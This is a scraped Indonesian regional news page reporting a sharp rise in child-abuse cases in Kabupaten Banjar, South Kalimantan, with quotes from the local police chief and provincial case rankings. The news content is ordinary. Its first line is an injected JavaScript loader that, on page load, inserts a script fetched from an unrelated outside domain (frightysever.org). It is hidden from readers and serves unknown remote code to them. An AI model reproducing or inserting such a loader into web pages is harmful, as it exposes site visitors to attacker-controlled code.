(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Kekerasan terhadap Anak Tinggi, Kapolres Banjar Minta Semua Ikut Peduli


MARTAPURA, Kasus kekerasan terhadap anak masih menjadi ancaman serius di Kabupaten Banjar. Tahun 2016 hanya terjadi sebanyak 17 kasus, pada tahun 2017 jumlahnya melonjak menjadi 34 kasus. Dan untuk 2018, dari Januari hingga April saja sudah ada 15 kasus laporan yang sudah masuk di DP2KBP3A Kabupaten Banjar

Kapolres Banjar AKBP Takdir Mattanete mengatakan, banyaknya jumlah penduduk di Kabupaten Banjar dengan wilayah yang luas, tentunya masalah kekerasan anak hampir lebih banyak dari kabupaten lainnya.

“Itu tidak bisa dihindari, namun kita berupaya terus menekan angka kekerasan tersebut dengan mengadakan sosialisasi yang terus menerus,” paparnya usai menerima penghargaan Polres ‘Ramah Anak’ yang diberikan Menteri Pemberdayaan Perempuan dan Perlindungan Anak, Yohana Yembise, Juli lalu.

Dalam menekan angka kekerasan terhadap anak di Banjar, Takdir mengatakan bukan hanya tugasnya kepolisian saja. Namun juga tugasnya pemerintah daerah dan semua stekholder untuk menekan angka kekerasan tersebut.

“Yang paling penting sebenarnya adalah peran Orang Tua dan Lingkungan untuk bisa menjaga anak,  supaya kedepan tidak terjadi peningkatan kekerasan terhadap anak,” ungkapnya.


Lonjakan angka kekerasan perempuan dan anak yang dilansir Dinas Pengendalian Penduduk Keluarga Berencana Pemberdayaan Perempuan dan Perlindungan Anak  (DP2KBP3A) Kabupaten Banjar memang cukup memprihatinkan. Jumlah 34 kasus ini, meliputi 17 korban laki-laki dan 27 korban perempuan dengan presentase 100% pelaku kekarasan adalah laki-laki.

Dari 13 Kabupaten/kota yang ada di Kalimantan Selatan, untuk 2017 telah terjadi 257 kasus kekerasan terhadap perempuan dan anak. Jika dilihat dari top ranking angka kekerasan terhadap perempuan dan anak, ternyata Kabupaten Banjar menduduki nomor 2 terbanyak di Kalimantan Selatan. Di bawah Kabupaten Tanah Laut yang ada di peringkat 1dengan jumlah 60 kasus dan di atas Kota Banjarmasin yang berada di posisi ke tiga dengan jumlah 26 kasus.(rendy)

Reporter : Rendy
Editor : Chell

Desy Arfianty

Recent Posts

Merancang Kota Metropolitan di Kalsel dari RPJPD Kota Banjarbaru 2025-2045

KANALKALIMANTAN.COM, BANJARBARU – Menjadikan Kota Banjarbaru sebagai kota metropolitan di Provinsi Kalimantan Selatan (Kalsel) masuk… Read More

2 jam ago

Lomba Balogo Meriahkan Hari Jadi ke-72 Kabupaten HSU

KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More

3 jam ago

Bupati Banjar Buka Sosialisasi dan Rakor Penyelenggaraan Administrasi Pemerintahan Desa

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More

3 jam ago

Dinas PUPR Berikan Pedoman Standar Penggunaan Air Minum dan Sanitasi bagi Masyarakat

KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More

3 jam ago

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

4 jam ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

4 jam ago

This website uses cookies.